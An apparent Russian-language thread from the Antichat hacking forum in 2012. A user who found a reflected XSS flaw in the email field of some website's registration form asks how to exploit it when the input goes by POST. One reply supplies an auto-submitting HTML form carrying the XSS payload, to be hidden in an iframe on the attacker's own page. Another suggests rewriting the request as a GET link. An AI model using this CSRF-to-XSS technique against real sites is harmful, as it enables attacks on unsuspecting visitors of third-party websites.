Вопрос по xss

Discussion in 'Песочница' started by Dad69, 16 Jan 2012.

  1. Dad69

    Dad69 New Member

    Joined:
    16 Oct 2011
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Всем привет, на одной сайте нашел пассивную xss уязвимость.
    При регистрации пользователя, если в e-mail ввести зловредный код типа "><script>alert(/1/)</script>, то выскочит ошибка.
    Но понял что не хочет из моего запроса ссылка получаться.
    И как же использовать эту уязвимость если ссылка не получается?
     
    #1 Dad69, 16 Jan 2012
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    PHP:
    <body onload="myform.submit()">
    <    form id="myform" action="http://example.com/" method="post">
    <    input name="email" value="XSS">
    </    form>
    </    body>
    Код в скрытый фрейм и на свой сайт. При переходе пользователя на страницу с фреймом, выполнится код.
    Если не понял, что я написал, гугли "XSS в POST-запросе" и "CSRF в POST-запросе".
     
    #2 M_script, 16 Jan 2012
  3. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    Или составь свою ссылку с постзапросом.(сниффер в помощь)
    будет что-то такое - сайт.ру/скрипт.php?login=any&pass=ololo&email=XSS
     
    #3 justonline, 16 Jan 2012
  4. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Это будет GET запрос.
     
    #4 Boolean, 17 Jan 2012
(You must log in or sign up to post here.)
Loading...
Similar Threads - Вопрос
  1. gilo20

    Вопрос по шеллу

    gilo20, 26 Feb 2023, in forum: Песочница
    Replies:
    2
    Views:
    2,558
    crlf
    27 Feb 2023
  2. Dobi768

    Вопрос про nmap ssh-hostkey

    Dobi768, 14 Jan 2023, in forum: Песочница
    Replies:
    2
    Views:
    2,453
    Dobi768
    14 Jan 2023
  3. avva99on

    Вопрос по движку UMI.CMS

    avva99on, 15 Dec 2022, in forum: Песочница
    Replies:
    0
    Views:
    2,447
    avva99on
    15 Dec 2022
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.